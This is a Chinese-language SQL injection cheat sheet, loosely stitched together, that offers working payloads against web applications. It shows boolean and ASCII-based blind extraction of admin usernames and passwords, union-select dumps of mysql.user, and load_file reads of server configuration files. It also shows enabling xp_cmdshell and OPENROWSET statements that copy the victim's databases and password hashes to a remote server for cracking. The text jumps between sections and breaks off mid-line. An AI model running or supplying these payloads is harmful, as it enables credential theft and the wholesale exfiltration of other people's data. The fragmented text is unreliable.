==============================================================================================

1.判斷有無注入點

; and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) —判斷是否存在admin這張表

3.猜帳號數(shù)目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數(shù)目就是1個

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.

and 1=(select count(*) from admin where len(*)>0)–

and 1=(select count(*) from admin where len(用戶字段名稱name)>0)

and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0)

5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 錯誤

and 1=(select count(*) from admin where len(name)>5) 正確 長度是6

and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確

and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12

and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) —猜解用戶帳號的第一位

and 1=(select count(*) from admin where left(name,2)=ab)—猜解用戶帳號的第二位

就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

(1)猜表名

所用語句:

and exists (select * from 表名)

例如:

and exists (select * from admin)

如果頁面回顯正確,則說明我們這里猜的表名是正確的,如果頁面出錯,那么就說明我們這里寫的表名是錯誤

的,那就換一個表名繼續(xù)猜,一直到猜中為止。

一般的,常用的表名有admin,manage,user,或者放到工具跑

(2)猜字段

所用語句:

and exists (select 字段名 from 表名)

例如:

and exists (select username from admin)

這里,假設(shè)admin表是我上邊猜對了的表,那么我要判斷username字段是否存在,就要使用這條語句,如果頁

面回顯正確,則說明我們這里猜的字段名是正確的,如果頁面出錯,那么就說明我們這里寫的字段名是錯誤的

,那就換一個字段名繼續(xù)猜,一直到猜中為止。

一般的,常見的字段名有username,password,user,pass,name,pass,pwd,usr,psd等字段

(3)order by

order by 是為了獲得該頁面上的字段數(shù)的總和,為下一步的聯(lián)合查詢做準(zhǔn)備

(4)聯(lián)合查詢(union select)

? 1,如果支持聯(lián)合查詢,找出顯示位http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,5,6,7,8,9,10,11

假設(shè)顯示位是5,6。我們接下來只需要把管理員的用戶名和密碼對應(yīng)的字段名替換掉這里顯示位的位置

http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 from admin找到后臺登陸

? 2,如果不支持聯(lián)合查詢

不可以聯(lián)合查詢的情況下拿到管理員的用戶名和密碼- -使用Ascii逐字解碼法

二,

? 利用 order by 判斷表的位數(shù),如果不行就用union select 逐個的排,這里假設(shè)是8位

三,

? 用聯(lián)合查詢來判斷顯示位

四,

? 利用顯示位找到數(shù)據(jù)庫名,數(shù)據(jù)庫版本,5.0以上的可以注入

http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,

version()),8

五,

? 有了數(shù)據(jù)庫名就開始得到表名schema=后面就是數(shù)據(jù)庫名稱的HEX值,猜解表名

http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8

+from+information_schema.columns+where+

table_schema=0x666C6965725F6462617365

? 分析出來的表名,判斷管理員的表name=表名的HEX值,猜解表內(nèi)的字段

? http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+column_name),8+

from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572

七,

? 得到了管理員表的字段之后,再來獲取字段的內(nèi)容

? http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+username,

0x5f,userpwd),8+from+pub_webmaster

? 工具掃描后臺:找到后登陸上傳木馬,如果找不到訪問robots.txt文件

九,

? 如果找不到后臺,爆MYSQL管理員的口令

? http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(user,password),8+from+mysql.user

十,

? 隨便訪問一個路徑,反饋的是IIS6的404默認(rèn)頁,說明網(wǎng)站服務(wù)器是:Windows+IIS6+php+MySql的環(huán)境

? c:\\windows\\system32\\inetsrv\\MetaBase.xml這個路徑就可以獲取網(wǎng)站配置信息了。

? 構(gòu)造語句http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C

? 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8

十一,

? 分析代碼,找后臺地址

? 第一步,我們需要獲得表中字段的長度

使用的語句:

and (select top 1 len(字段名) from 表名)>0

比如:

and (select top 1 len(admin_name) from admin)>0

頁面顯示正常,說明字段admin_name的長度是大于0的,我再提交:

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10

頁面顯示錯誤說明了字段在0到10之間,用二分法求得長度為5

以同樣的方法判斷出管理員的密碼的字段的長度,我得到的長度為16

? 第二步

判斷出了兩個字段的長度,現(xiàn)在我們進(jìn)行第二步,截取字段中的某個字符,并得到該字符的ASCII碼,使用的

語句:

and (select top 1 asc(mid(字段名,N,1)) from 表名)>0

我把這句話分開來看,首先,最里邊的mid(username,1,1)函數(shù),這個是截取admin_name字段的第一個字符,N

表示要截取第幾個字符,

然后外邊的asc()函數(shù),這個是將mid函數(shù)截取到的字符轉(zhuǎn)換成ASCII碼,最外邊的top 1,表示返回字段中的第

一條記錄,然后,

最后邊的“>0”,是將這個轉(zhuǎn)換出的ASCII碼與這個數(shù)字相比較,通過不斷變換最后的這個數(shù)值,最終得出截

取到的這個字符的具體的

ASCII碼

提交:

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30

頁面顯示正常,說明這個字符的ASCII碼是大于30的。

提交:

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90

頁面顯示正常,說明這個字符的ASCII碼是大于90的。

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97

最終我得出的這個字符的ASCII碼是97

對照一下ASCII表:

可以得出第一個字符是“a”。

然后我再來判斷第二個字符的ASCII碼。

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90

頁面顯示正常,說明該字符的ASCII碼是大于90的,一直換最后的這個數(shù)值

同樣的方法得出管理員的密碼了,我最終得出的結(jié)果為:

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) –

這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把后面的數(shù)字換成中文的 ASSIC碼就OK.最后把結(jié)果再

轉(zhuǎn)換成字符.

2.添加xp_cmdshell擴(kuò)展過程的方法是使用如下語句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlExec Sunx Version的Format選項里填上%s,在CMD選項里輸入

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–

上面的語句是得到_blank>數(shù)據(jù)庫中的第一個用戶表,并把表名放在ffff用戶的郵箱字段中。

通過查看ffff的用戶資料可得第一個用表叫ad

然后根據(jù)表名 ad得到這個表的ID 得到第二個表的名字

枚舉出數(shù)據(jù)表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–

這是將第一個表名更新到aaa的字段處。

讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>剛才得到的表名)。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and

name<>vote);–

然后id=1552 and exists(select * from aaa where aaa>5)

讀出第二個表,一個個的讀出,直到?jīng)]有為止。

讀字段是這樣:

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–

然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–

然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名

[獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>

1、 開啟遠(yuǎn)程_blank>數(shù)據(jù)庫

基本語法

select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )

參數(shù): (1) OLEDB Provider name

2、 其中連接字符串參數(shù)可以是任何端口用來連接,比如

select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,

select * from table

3.復(fù)制目標(biāo)主機(jī)的整個_blank>數(shù)據(jù)庫insert所有遠(yuǎn)程表到本地表。

基本語法:

insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select

* from table2

這行語句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程_blank>數(shù)據(jù)庫中的table1表中。實際運用中適當(dāng)修

改連接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

* from table1) select * from table2

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

* from _blank>_sysdatabases)

select * from master.dbo.sysdatabases

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

* from _blank>_sysobjects)

select * from user_blank>_database.dbo.sysobjects

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

* from _blank>_syscolumns)

select * from user_blank>_database.dbo.syscolumns

復(fù)制_blank>數(shù)據(jù)庫:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

* from table1) select * from database..table1

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

* from table2) select * from database..table2

復(fù)制哈西表(HASH)登錄_blank>密碼的hash存儲于sysxlogins中。方法如下:

insert into OPENROWSET(SQLOLEDB,

uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins)

select * from database.dbo.sysxlogins

得到hash之后,就可以進(jìn)行暴力破解。

需要注意的是該方法并不適用于于老版的Mysql,除此之外你還需要了解錯誤信息的長度限制,因為這將決定

你可以獲取多長的信息:

? ? /* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */

? ? #define ERRMSGSIZE (512)

如果對象是MariaDB(Mysql的一個分支),當(dāng)你嘗試上面的方法時,你可能會看到這樣的報錯信息:

作為解決方案,可以通過這種方式來解決這個問題:

? ? mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;

? ? ERROR 1690 (22003): BIGINT value is out of range in '(('5.5-MariaDB' is not null) - -
